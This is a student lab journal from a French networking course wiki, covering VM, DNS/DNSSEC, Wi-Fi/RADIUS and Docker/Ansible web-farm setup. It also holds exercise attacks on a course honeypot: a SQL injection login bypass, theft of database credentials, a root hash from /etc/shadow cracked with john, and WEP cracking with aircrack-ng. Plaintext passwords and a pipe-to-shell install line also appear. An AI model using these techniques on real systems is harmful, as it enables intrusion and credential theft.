TP sysres IMA5sc 2020/2021 G7 : Différence entre versions
(→Ferme de serveurs web) |
(→Équilibreur de charge (load balancer)) |
||
(48 révisions intermédiaires par le même utilisateur non affichées) | |||
Ligne 462 : | Ligne 462 : | ||
==Ferme de serveurs web== | ==Ferme de serveurs web== | ||
− | + | ===Architecture générale de la ferme=== | |
− | |||
− | On | + | On travaille avec deux machines virtuelles, l'une sur le serveur <code>capbreton</code> (celle mise en place en PRA), l'autre sur le serveur <code>chassiron</code>. |
− | |||
− | On | + | On ferme la machine virtuelle sur <code>capbreton</code> (commande <code>halt</code>) pour modifier le fichier de configuration <code>girolle.cfg</code>. |
+ | On ajoute à la ligne vif <code>'mac=@MAC incrémenté de 1, bridge=bridgeStudents'</code> avant de la relancer. | ||
− | + | '''Interfaces''' | |
+ | |||
+ | On associe l'adresse IP <code>192.186.42.21</code> à la VM sur le serveur <code>capbreton</code>. Pour cela on l'ajoute dans <code>/etc/network/interfaces</code> : | ||
+ | |||
+ | auto eth1 | ||
+ | iface eth1 inet static | ||
+ | address 192.168.42.21 | ||
+ | netmask 255.255.255.0 | ||
+ | |||
+ | Sur <code>chassiron</code>, on ajoute une interface dans <code>/etc/network/interfaces</code> : | ||
+ | auto eth0 | ||
+ | iface eth0 inet static | ||
+ | address 192.168.42.7 | ||
+ | netmask 255.255.255.0 | ||
+ | gateway 192.168.42.21 | ||
+ | |||
+ | |||
+ | Le ping entre leux deux machine se fait. | ||
+ | |||
+ | |||
+ | '''Mascarade''' | ||
+ | |||
+ | On met en place une mascarade pour que la VM sur <code>chassiron</code> ait accès à internet : | ||
iptables -P FORWARD DROP | iptables -P FORWARD DROP | ||
Ligne 479 : | Ligne 500 : | ||
echo 1 > /proc/sys/net/ipv4/ip_forward | echo 1 > /proc/sys/net/ipv4/ip_forward | ||
− | + | '''Mise en place d'<code>ansible</code>''' | |
− | |||
− | |||
− | On ajoute la clé public sur toutes les machines de | + | Installation d'<code>ansible</code> sur la VM de <code>capbreton</code>. |
+ | Création des clés avec la commande <code>ssh-keygen -t rsa</code> | ||
+ | |||
+ | On ajoute la clé public sur toutes les machines de <code>chassiron</code> : | ||
cat id_rsa.pub | ssh root@192.168.42.7 'cat >> .ssh/authorized_keys2' | cat id_rsa.pub | ssh root@192.168.42.7 'cat >> .ssh/authorized_keys2' | ||
− | Installation de Python sur la VM de | + | Installation de Python sur la VM de <code>chassiron</code> (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version). |
apt install python3 | apt install python3 | ||
ln -sf /usr/bin/python3 /usr/bin/python | ln -sf /usr/bin/python3 /usr/bin/python | ||
− | + | L'utilitaire <code>ansible</code> permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur <code>capbreton</code>. | |
− | + | ||
+ | '''Inventaire''' | ||
+ | |||
+ | Sur <code>capbreton</code>, on crée un inventaire dans <code>/etc/ansible/hosts</code>. en séparant notre serveur seul des autres (dont le notre). | ||
[self] | [self] | ||
192.168.42.7 | 192.168.42.7 | ||
[webinterne] | [webinterne] | ||
− | + | 192.168.42.2 | |
+ | 192.168.42.4 | ||
+ | 192.168.42.5 | ||
+ | 192.168.42.7 | ||
+ | 192.168.42.9 | ||
+ | 192.168.42.12 | ||
+ | |||
+ | '''Playbook et roles''' | ||
+ | |||
+ | On va créer plusieurs rôles qui seront lancés via un playbook (<code>/root/playbooks/</code>). Chaque rôle à son propre sous-répertoire (<code>/etc/ansible/roles</code>). | ||
+ | |||
+ | '''Rôle <code>basic</code> :''' | ||
+ | * <code>files</code> qui contient la configuration mymotd_conf et ntp.conf | ||
+ | ** mymotd_conf : On met ce que l'on veut afficher dedans | ||
+ | ** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP | ||
+ | # You do need to talk to an NTP server or two (or three). | ||
+ | #server ntp.your-provider.example | ||
+ | server ntp.plil.info | ||
+ | ... | ||
+ | # Local users may interrogate the ntp server more closely. | ||
+ | restrict 127.0.0.1 | ||
+ | restrict ::1 | ||
+ | restrict 192.168.42.21 | ||
+ | restrict 192.168.42.7 | ||
+ | |||
+ | * <code>tasks</code> qui contient un <code>main.yml</code> | ||
+ | - name : gestion packages | ||
+ | apt: | ||
+ | update_cache: yes | ||
+ | name: "{{ packages } }" | ||
+ | vars: | ||
+ | packages: | ||
+ | - python3 | ||
+ | - python3-pip | ||
+ | - ntpdate | ||
+ | - ntp | ||
+ | |||
+ | - name : gestion packages pip | ||
+ | pip: | ||
+ | name: | ||
+ | - docker | ||
+ | - name: lien symbolique | ||
+ | command: ln -sf /usr/bin/python3 /usr/bin/python | ||
+ | |||
+ | - name: motd | ||
+ | copy: | ||
+ | src: /etc/ansible/roles/basic/files/mymotd_conf | ||
+ | dest: /etc/motd | ||
+ | owner: root | ||
+ | group: root | ||
+ | mode: '0644' | ||
+ | |||
+ | - name: config ntp | ||
+ | copy: | ||
+ | src: /etc/ansible/roles/basic/files/ntp.conf | ||
+ | dest: /etc/ntp.conf | ||
+ | owner: root | ||
+ | group: root | ||
+ | mode: '0644' | ||
+ | |||
+ | Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires. | ||
+ | |||
+ | ===Installation de <code>docker</code>=== | ||
+ | |||
+ | On installe <code>docker</code> par l'intermédiaire du playbook sur notre VM sur <code>chassiron</code>. Pour cela on utilise un rôle déjà créé par <code>geerlingguy</code>. Les variables docker_<code>apt_gpg_key</code> et <code>docker_apt_repository</code> permettent que le rôle se comporte comme si la VM est sous debian version buster. | ||
+ | |||
+ | '''Playbook <code>first_play.yml</code> :''' | ||
+ | --- | ||
+ | - name: Premiere playbook | ||
+ | hosts: self | ||
+ | roles: | ||
+ | - basic | ||
+ | - geerlingguy.docker | ||
+ | - registry | ||
+ | vars: | ||
+ | docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg" | ||
+ | docker_apt_repository: "deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }" | ||
+ | |||
+ | ===Création du conteneur=== | ||
+ | |||
+ | On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80. | ||
+ | En premier lieu on installe <code>docker</code> sur <code>capbreton</code> avec <code>wget -qO - get.docker.com | sh</code> | ||
+ | |||
+ | '''Dockerfile''' | ||
+ | |||
+ | Il faut ensuite réaliser un <code>dockerfile</code> toujours sur <code>capbreton</code> : | ||
+ | FROM httpd:latest | ||
+ | MAINTAINER NourClara | ||
+ | COPY ./index.html /usr/local/apache2/htdocs/ | ||
+ | CMD [ "httpd", "-D", "FOREGROUND" ] | ||
+ | Le fichier <code>index.html</code> dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le <code>dockerfile</code>. | ||
+ | |||
+ | '''Construction et lancement de l'image docker''' | ||
+ | |||
+ | docker build -t webserver . | ||
+ | On aurait pu mettre girolle au lieu de webserver par exemple. | ||
+ | docker run -d webserver | ||
+ | |||
+ | On vérifie que l'image est construite et lancée correctement avec les commandes <code>docker images</code> et <code>docker ps -a</code>. | ||
+ | |||
+ | '''Dépôt docker local''' | ||
+ | |||
+ | Sur <code>chassiron</code>, on installe un dépôt local qui accueillera notre image docker. | ||
+ | docker run -d -p 5000:5000 --restart always --name registry registry:2 | ||
+ | |||
+ | |||
+ | '''Rôle <code>registry</code> :''' | ||
+ | * <code>tasks</code> qui contient un <code>main.yml</code> | ||
+ | - name: Setup registry | ||
+ | docker_container: | ||
+ | name: registry | ||
+ | image: registry | ||
+ | ports: | ||
+ | - "5000:5000" | ||
+ | |||
+ | '''Autorisation d'un dépôt non sécurisé''' | ||
+ | |||
+ | Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans <code>/etc/docker/</code> : | ||
+ | { | ||
+ | "insecure-registries" : ["192.168.42.2:5000", "192.168.42.4:5000", "192.168.42.5:5000", "192.168.42.7:5000", "192.168.42.9:5000", "192.168.42.12:5000"] | ||
+ | } | ||
+ | Puis <code>service docker restart</code> pour que le changement soit pris en compte. | ||
+ | |||
+ | '''Exportation depuis <code>capbreton</code> vers la VM sur <code>chassiron</code>''' | ||
+ | |||
+ | docker tag webserver 192.168.42.7:5000/webserver | ||
+ | docker push 192.168.42.7:5000/webserver | ||
+ | |||
+ | '''Récupération de l'image docker dans <code>chassiron</code>''' | ||
+ | |||
+ | docker pull 192.168.42.7:5000/webserver | ||
+ | |||
+ | ===Configuration des serveurs internes=== | ||
+ | |||
+ | Pour déployer notre conteneur web automatiquement sur toutes les VM de <code>chassiron</code> on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087. | ||
+ | |||
+ | '''Rôle <code>deployer</code> :''' | ||
+ | * <code>tasks</code> contenant un <code>main.yml</code> | ||
+ | - name : deployer sur les VMs | ||
+ | docker_container: | ||
+ | name: site | ||
+ | image: 192.168.42.7:5000/webserver | ||
+ | ports: | ||
+ | - "8087:80" | ||
+ | <code>image</code> : là où se trouve notre serveur web à déployer (sur notre VM sur <code>chassiron</code>) | ||
+ | |||
+ | Ensuite dans le playbook on crée une seconde partie avec pour hôte <code>webinterne</code>: | ||
+ | |||
+ | '''Playbook complet <code>first_play.yml</code> :''' | ||
+ | --- | ||
+ | - name: Premiere playbook | ||
+ | hosts: self | ||
+ | roles: | ||
+ | - basic | ||
+ | - geerlingguy.docker | ||
+ | - registry | ||
+ | vars: | ||
+ | docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg" | ||
+ | docker_apt_repository: "deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }" | ||
+ | |||
+ | |||
+ | - name: Deploiement | ||
+ | hosts: webinterne | ||
+ | roles: | ||
+ | - deployer | ||
+ | |||
+ | Dans notre VM sur <code>capbreton</code> on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur). | ||
+ | ansible-playbook first_play.yml | ||
+ | |||
+ | Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables. | ||
+ | |||
+ | ===Équilibreur de charge (load balancer)=== | ||
+ | |||
+ | On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer). | ||
+ | |||
+ | '''Activation des module pour le mandataire inverse''' | ||
+ | |||
+ | Pour utiliser Apache2 mandataire inverse, on doit activer les modules <code>proxy</code> (permet l’implémentation d’un serveur mandataire/passerelle) et <code>proxy_http</code> (permet des requêtes HTTP et HTTPS au module proxy) : | ||
+ | a2enmod proxy proxy_http | ||
+ | service apache2 restart | ||
+ | |||
+ | '''Mise en place du VirtualHost''' | ||
+ | |||
+ | Dans <code>/etc/apache2/sites-available</code> on crée un nouveau fichier de configuration <code>reverse.conf/code> pour le second serveur web. | ||
+ | Pour mettre en place l'équilibrage de charge, on définie les machines que l'on souhaite et on leur associe un ordre. Ici, à chaque appel ou rechargement de la page <code>reverse.girolle.site</code> la route s'incrémente et change de machine. | ||
+ | <VirtualHost *:80> | ||
+ | ServerName reverse.girolle.site | ||
+ | ServerAdmin webmaster@localhost | ||
+ | <Proxy "balancer://myloadbalance"> | ||
+ | BalancerMember "http://192.168.42.2:8087" route=1 | ||
+ | BalancerMember "http://192.168.42.4:8087" route=2 | ||
+ | BalancerMember "http://192.168.42.5:8087" route=3 | ||
+ | BalancerMember "http://192.168.42.7:8087" route=4 | ||
+ | BalancerMember "http://192.168.42.9:8087" route=5 | ||
+ | BalancerMember "http://192.168.42.12:8087" route=6 | ||
+ | ProxySet lbmethod=byrequests | ||
+ | </Proxy> | ||
+ | ProxyPass "/" "balancer://myloadbalance/" | ||
+ | ProxyPassReverse "/" "balancer://myloadbalance/" | ||
+ | </VirtualHost> | ||
+ | |||
+ | # vim: syntax=apache ts=4 sw=4 sts=4 sr noet | ||
+ | |||
+ | On l'active avec les commandes suivantes : | ||
+ | a2ensite reverse.conf | ||
+ | service apache2 reload | ||
+ | |||
+ | Pour l'équilibrage de charge on doit parfois activer en plus le module <code>lbmethod_byrequests</code> avec la commande <code>a2enmod lbmethod_byrequests</code>. | ||
+ | |||
+ | '''Enregistrement de type CNAME dans notre DNS''' | ||
+ | |||
+ | Sur <code>capbreton</code> dans <code>/etc/bind/db.girolle.site</code> on ajoute un deuxième CNAME : | ||
+ | ; | ||
+ | ; BIND data file for local loopback interface | ||
+ | ; | ||
+ | $TTL 604800 | ||
+ | @ IN SOA ns1.girolle.site. postmaster.girolle.site. ( | ||
+ | 6 ; Serial | ||
+ | 604800 ; Refresh | ||
+ | 86400 ; Retry | ||
+ | 2419200 ; Expire | ||
+ | 604800 ) ; Negative Cache TTL | ||
+ | ; | ||
+ | @ IN NS ns1.girolle.site. | ||
+ | @ IN NS ns6.gandi.net. | ||
+ | ns1 IN A 193.48.57.182 | ||
+ | @ IN MX 100 ns1.girolle.site. | ||
+ | |||
+ | www IN CNAME ns1 | ||
+ | reverse IN CNAME www | ||
+ | |||
+ | $include /etc/bind/girolle_dnssec/girolle.site-ksk.key | ||
+ | $include /etc/bind/girolle_dnssec/girolle.site-zsk.key | ||
+ | |||
+ | On signe de nouveau les enregistrement de la zone avec les commandes : | ||
+ | |||
+ | dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk | ||
+ | bind9 restart | ||
+ | |||
− | + | Pour constater la mise en place de l'équilibrage, on peut appeler la page <code>reverse.girolle.site</code> dans un navigateur. Elle affiche de contenu d'<code>index.html</code>. Si l'on crée une nouvelle version du contenu de la page en modifiant <code>index.html</code> sans activer la mise à jour sur les autres machines de <code>chassiron</code>, après un push/pull, seule notre VM aura la nouvelle version. En rechargeant plusieurs fois la page dans un navigateur on voit alors successivement la nouvelle et les anciennes versions. |
Version actuelle datée du 19 décembre 2020 à 00:18
Sommaire
Explication Infrastructure
Installation VM
Connexion ssh:
ssh pifou@capbreton.plil.info
Commande (en root su -):
xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force
MAJ gateway : 161
Nom de domaine: girolle.site
Adresse IP : 100.64.0.24 MAJ: 193.48.57.172
Netmask: 255.255.255.240 MAJ: 255.255.255.224
Adresse MAC : 00:16:3E:3E:E3:15
Repartition des volumes logiques :
lvdisplay lvrename
Dans le fichier de configuration de la machine : girolle.cfg on rajoute var et home : lignes 'phy:/.../xdva3'
Commandes pour creer et acceder a la VM :
xl create -c etc/xen/girolle.cfg xl console girolle
Commandes sur la vm:
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4
au prealable il faut
1) formater la partition :
mkfs -t ext4 /dev/xvda4
2) Monter la partition que l'on veut sur /mnt
mount /dev/xvda4 /mnt
3) Migrer tout le contenu de var dans mnt
cd /var mv * /mnt
4) Dans le fichier fstab rajouter :
/dev/xvda4 /var ext4 defaults 0 2
5) Unmout mnt
umount /mnt
6) Monter tout sur dev/xdva
mount -a
7)Verification
df dpkg -l
Activation connexion ssh
On modifie le fichier /etc/ssh/sshd_config
On décommente la ligne PermissionRoot :
# Authentication: #LoginGraceTime 2m PermitRootLogin yes
Puis on l'active avec la commande :
service sshd restart
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)
Redirection DNS
Sur Gandi
Achat d'un nom de domaine : girolle.site Création d'un Glue Record : 193.48.57.182
Serveur DNS primaire : ns1.girolle.site (193.48.57.182) Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)
Sur la machine virtuelle
Installation de bind9 On modifie les fichiers dans /etc/bind/named.conf. Dans /etc/bind/named.conf.options
options { directory "/etc/bind"; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; };
acl "allowed_to_transfer" { 217.70.177.40/32 ; };
Dans /etc/bind/named.conf.local
zone "girolle.site" { type master; file "girolle.site/girolle"; allow-transfer (217.70.177.40;}; };
Dans db.girolle.site
; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.girolle.site. postmaster.girolle.site( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.girolle.site. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.182 @ IN MX 100 girolle.site.
www IN CNAME ns1
Puis pour le relancer :
service bind9 restart
Configuration pour la réception du mail de confirmation du certificat SSL
Installer Postfixe pour avoir accès au fichier aliases
Internet Site girolle.site
Dans /etc/aliases
admin: root
Puis ajouter dans newaliases Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using
Installation de mailx pour lire les mails reçus
apt-install bsd-mailx
Pour consulter le mail de vérification
mailx admin
Sécurisation par certificat SSL
Génération du CSR à l'aide d'openssl
openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt
Configuration du serveur apache2
Activation du ssl sur apache2
ae2enmod ssl
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available <VirtualHost *:80>
ServerName www.girolle.site Redirect / https://www.girolle.site ....
</VirtualHost>
<VirtualHost 193.48.57.182:443> DocumentRoot /var/www/html2 ServerName girolle.site SSLEngine on SSLCertificateFile /root/girolle.site.crt SSLCertificateKeyFile /root/girolle.site.key SSLCertificateChainFile /root/GandiCA.pem </VirtualHost>
verifications:
host -t soa girolle.site ns6.gandi.net Sur Zabeth : host www.girolle.site
Sécurisation de serveur DNS par DNSSEC
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées: Une clef asymétrique de signature de clefs de zone
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site
Une clef asymétrique de la zone pour signer les enregistrements
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site
On renomme les deux paires de clés de la façon suivante :
Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :
$include /etc/bind/girolle_dnssec/<nom_de_zone>-ksk.key $include /etc/bind/girolle_dnssec/<nom_de_zone>-zsk.key
On signe les enregistrement de la zone avec la commande
dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk
Dans /etc/bind/named.conf.local on modifie la zone :
zone "girolle.site" IN { type master; file "/etc/bind/db.girolle.site.signed"; allow-transfer {227.70.177.40;}; };
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.
Configuration des bornes Wi-Fi
Borne classique : Cisco - AIR-CAP1602I-E-K9
Configuration IOS en CLI :
aaa new-model ! ! aaa group server radius radius_girolle server 193.48.57.182 auth-port 1812 acct-port 1813 ! aaa authentication login eap_group1 group radius_group1 aaa authentication login eap_girolle group radius_girolle ! dot11 ssid SSID_GIROLLE vlan 107 authentication open eap eap_girolle authentication network-eap eap_girolle authentication key-management wpa ! ! ... interface Dot11Radio0 encryption vlan 101 mode ciphers aes-ccm tkip
... interface BVI1 ip address 10.60.100.10 255.255.255.0 ! radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22
10.60.100.10 : adresse IP fixe du point d'accès
Commandes et verifications /
ap(config)#interface BVI1 ap(config-if)# ip address 10.60.100.10 255.255.255.0 ap(config-if)#exit ap#write PING ROUTEUR 1 POUR VERIFIER LA CONNEXION ap#ping 10.60.100.2 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds: .!!!! Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms
test second routeur : ne fonctionne pas car pas d'addresse ip
ap#ping 10.60.100.1 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds: ..... Success rate is 0 percent (0/5)
Configurer l'adresse par defaut:
ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2 ap(config)#exit ap#sh ip route
Test ping notre machine virtuelle girolle :
ap#ping 193.48.57.182 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms
Sécurisation
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.
wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7 wifi-ima5sc(config)# aaa group server radius radius_group7 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7 wifi-ima5sc(config-radius)# mbssid guest-mode wifi-ima5sc(config-radius)# vlan 307 wifi-ima5sc(config-radius)# authentication open eap eap_group7 wifi-ima5sc(config-radius)# authentication network-eap eap_group7 wifi-ima5sc(config-radius)# authentication key-management wpa
wifi-ima5sc(config)# int Dot11Radio0 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip wifi-ima5sc(config-if)# mbssid wifi-ima5sc(config)# ssid SSID_GROUP7
wifi-ima5sc(config-subif)# int dot11radio0.7 wifi-ima5sc(config-subif)# encapsulation dot1q 307 wifi-ima5sc(config-subif)# bridge-group 7
wifi-ima5sc(config)# int Gi0.7 wifi-ima5sc(config-subif)# encapsulation dot1q 307 wifi-ima5sc(config-subif)# bridge-group 7
FreeRadius
Dans /etc/freeradius/3.0/users
pifou Cleartext-Password := "pasglop"
Dans /etc/freeradius/3.0/client.conf
client girolle_wifi { ipaddr = 10.60.100.10 secret = secret_group7 }
Dans /etc/freeradius/3.0/mods-enabled/eap
default_eap_type = peap
Finalement on lance la commande freeradius -X
DHCP et mascarade
On doit implanter une fonction de serveur DHCP sur les deux routeurs.
Pour le 6509E :
IMA5sc-R1(config)#ip dhcp pool groupe7 IMA5sc-R1(dhcp-config)#dns 193.48.57.182 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1 IMA5sc-R1(dhcp-config)#exit IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255 IMA5sc-R1(config)#exit IMA5sc-R1#sh ip dhcp binding IMA5sc-R1#ping 193.48.57.182
Le ping fonctionne.
Pour le C9200 :
IMA5sc-R2(config)#ip dhcp pool groupe7 IMA5sc-R2(dhcp-config)#dns 193.48.57.182 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2 IMA5sc-R2(dhcp-config)#exit IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255 IMA5sc-R2(config)#exit IMA5sc-R2#sh ip dhcp binding
Mise en place de la mascarade (vlan131 -> vlan pour se connecter au routeur):
IMA5sc-R1(config)# int vlan 307 IMA5sc-R1(config-if)# ip nat inside
IMA5sc-R1(config)# int vlan 131 IMA5sc-R1(config-if)# ip nat outside
IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload
Création du vlan sur les routeurs
vlan 307
Configuration WLC
Utilisation de bornes Cisco 2802i
Connection via minicom -os (9600 bauds)
enable capwap ap ip <ip> <netmask> <gateway>
Intrusion honey.plil.info
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1
Admin : admin jesuislechef admin Administrateur
Creer le fichier etc/phpmyadmin/config-db.php en allant dans l'onglet: .... on telecharge le fichier qu'on a crée :
<?php ## ## database access settings in php format ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf ## by /usr/sbin/dbconfig-generate-include ## ## by default this file is managed via ucf, so you shouldn't have to ## worry about manual changes being silently discarded. *however*, ## you'll probably also want to edit the configuration file mentioned ## above too. ## $dbuser='phpmyadmin'; $dbpass='gencovid19'; $basepath=; $dbname='phpmyadmin'; $dbserver='localhost'; $dbport='3306'; $dbtype='mysql';
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ connexion id : root mdp: gencovid19
une fois connecter on recherche les identifiants des utilisateurs ssh : id = rex mdp:
connexion ssh : ssh rex@honey.plil.info
/etc/shadow pour trouver la cle de cryptage du mdp root copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7::: installation de john john nom du fichier
pour aller plus rapidement creer un dictionnaire a partir des indices donnés : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets' utiliseer crunch?
Cassage de clef WEP d’un point d’accès WiFi
On utilise le paquet aircrack-ng.
La commande
airmon-ng
permet de voir le nom du réseau sans fil: wlan0mon
airmon-ng start wlan0mon
On scanne les réseaux :
airodump-ng --encrypte wep wlan0mon
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.
On lance avec la commande :
airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon
aircrack-ng -z testwep-01.cap
Ferme de serveurs web
Architecture générale de la ferme
On travaille avec deux machines virtuelles, l'une sur le serveur capbreton
(celle mise en place en PRA), l'autre sur le serveur chassiron
.
On ferme la machine virtuelle sur capbreton
(commande halt
) pour modifier le fichier de configuration girolle.cfg
.
On ajoute à la ligne vif 'mac=@MAC incrémenté de 1, bridge=bridgeStudents'
avant de la relancer.
Interfaces
On associe l'adresse IP 192.186.42.21
à la VM sur le serveur capbreton
. Pour cela on l'ajoute dans /etc/network/interfaces
:
auto eth1 iface eth1 inet static address 192.168.42.21 netmask 255.255.255.0
Sur chassiron
, on ajoute une interface dans /etc/network/interfaces
:
auto eth0 iface eth0 inet static address 192.168.42.7 netmask 255.255.255.0 gateway 192.168.42.21
Le ping entre leux deux machine se fait.
Mascarade
On met en place une mascarade pour que la VM sur chassiron
ait accès à internet :
iptables -P FORWARD DROP iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182 iptables-save echo 1 > /proc/sys/net/ipv4/ip_forward
Mise en place d'ansible
Installation d'ansible
sur la VM de capbreton
.
Création des clés avec la commande ssh-keygen -t rsa
On ajoute la clé public sur toutes les machines de chassiron
:
cat id_rsa.pub | ssh root@192.168.42.7 'cat >> .ssh/authorized_keys2'
Installation de Python sur la VM de chassiron
(Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).
apt install python3 ln -sf /usr/bin/python3 /usr/bin/python
L'utilitaire ansible
permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur capbreton
.
Inventaire
Sur capbreton
, on crée un inventaire dans /etc/ansible/hosts
. en séparant notre serveur seul des autres (dont le notre).
[self] 192.168.42.7
[webinterne] 192.168.42.2 192.168.42.4 192.168.42.5 192.168.42.7 192.168.42.9 192.168.42.12
Playbook et roles
On va créer plusieurs rôles qui seront lancés via un playbook (/root/playbooks/
). Chaque rôle à son propre sous-répertoire (/etc/ansible/roles
).
Rôle basic
:
-
files
qui contient la configuration mymotd_conf et ntp.conf- mymotd_conf : On met ce que l'on veut afficher dedans
- ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP
# You do need to talk to an NTP server or two (or three). #server ntp.your-provider.example server ntp.plil.info ... # Local users may interrogate the ntp server more closely. restrict 127.0.0.1 restrict ::1 restrict 192.168.42.21 restrict 192.168.42.7
-
tasks
qui contient unmain.yml
- name : gestion packages apt: update_cache: yes name: "{{ packages } }" vars: packages: - python3 - python3-pip - ntpdate - ntp - name : gestion packages pip pip: name: - docker - name: lien symbolique command: ln -sf /usr/bin/python3 /usr/bin/python - name: motd copy: src: /etc/ansible/roles/basic/files/mymotd_conf dest: /etc/motd owner: root group: root mode: '0644'
- name: config ntp copy: src: /etc/ansible/roles/basic/files/ntp.conf dest: /etc/ntp.conf owner: root group: root mode: '0644'
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.
Installation de docker
On installe docker
par l'intermédiaire du playbook sur notre VM sur chassiron
. Pour cela on utilise un rôle déjà créé par geerlingguy
. Les variables docker_apt_gpg_key
et docker_apt_repository
permettent que le rôle se comporte comme si la VM est sous debian version buster.
Playbook first_play.yml
:
--- - name: Premiere playbook hosts: self roles: - basic - geerlingguy.docker - registry vars: docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg" docker_apt_repository: "deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }"
Création du conteneur
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.
En premier lieu on installe docker
sur capbreton
avec wget -qO - get.docker.com | sh
Dockerfile
Il faut ensuite réaliser un dockerfile
toujours sur capbreton
:
